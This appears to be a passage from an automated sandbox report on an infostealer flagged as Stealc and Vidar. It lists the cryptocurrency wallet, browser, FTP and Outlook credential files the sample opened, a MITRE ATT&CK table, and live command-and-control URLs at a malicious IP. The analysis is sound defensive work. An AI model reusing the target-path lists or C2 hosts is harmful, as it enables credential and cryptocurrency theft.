Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2455507692.0000000000788000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\simple-storage.json*h
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 4388, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.f30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2455507692.0000000000788000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2456137465.0000000000F31000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2229140448.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 4388, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 4388, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	50%	ReversingLabs	Win32.Trojan.Generic
file.exe	58%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Link
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	Virustotal	Browse
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	Virustotal	Browse
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	Virustotal	Browse
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	Virustotal	Browse
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	Virustotal	Browse
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\freebl3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll	0%	Virustotal	Browse

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.phpom	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/nss3.dllw	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/softokn3.dll0	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/msvcp140.dll4	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpdll	17%	Virustotal		Browse
http://185.215.113.37.com	0%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpV	17%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpD	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/softokn3.dllz	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php3	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php9P	20%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpata	file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllw	file.exe, 00000000.00000002.2455507692.00000000007B6000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll%	file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpEt	file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.2455507692.000000000076E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmp	true	URL Reputation: malware	unknown
https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg	file.exe, 00000000.00000002.2476495545.0000000029563000.00000004.00000020.00020000.00000000.sdmp, AAKJEGCFBGDHJJJJJKJE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpom	file.exe, 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phprowser	file.exe, 00000000.00000002.2455507692.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpJt	file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll0	file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37.com	file.exe, 00000000.00000002.2456137465.00000000010FB000.00000040.00000001.01000000.00000003.sdmp	true	0%, Virustotal, Browse	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll4	file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpdll	file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpdll7t	file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpmQ	file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2482820786.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2471223421.000000001D5CE000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phptt	file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000000.00000002.2482996093.000000006CB4D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false	0%, Virustotal, Browse	unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	false	0%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpV	file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
http://185.215.113.37/e2b1563c6670f193.phpyQK	file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.	file.exe, 00000000.00000002.2476495545.0000000029563000.00000004.00000020.00020000.00000000.sdmp, AAKJEGCFBGDHJJJJJKJE.0.dr	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	AAKJEGCFBGDHJJJJJKJE.0.dr	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpXt	file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpD	file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KJJECGHJDBFIJJJKEHCBFIJJDG.0.dr	false	URL Reputation: safe	unknown
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2476495545.0000000029563000.00000004.00000020.00020000.00000000.sdmp, AAKJEGCFBGDHJJJJJKJE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllz	file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000000.00000003.2311903779.000000000083A000.00000004.00000020.00020000.00000000.sdmp, CAEBGHDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpIQ	file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.ZAnPVwXvBbYt	KJJECGHJDBFIJJJKEHCBFIJJDG.0.dr	false		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2476495545.0000000029563000.00000004.00000020.00020000.00000000.sdmp, AAKJEGCFBGDHJJJJJKJE.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php=Q	file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_86277c656a4bd7d619968160e91c45fd066919bb3bd119b3	file.exe, 00000000.00000002.2476495545.0000000029563000.00000004.00000020.00020000.00000000.sdmp, AAKJEGCFBGDHJJJJJKJE.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpdllot	file.exe, 00000000.00000002.2455507692.00000000007EE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	KJJECGHJDBFIJJJKEHCBFIJJDG.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php9P	file.exe, 00000000.00000002.2455507692.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	true	20%, Virustotal, Browse	unknown
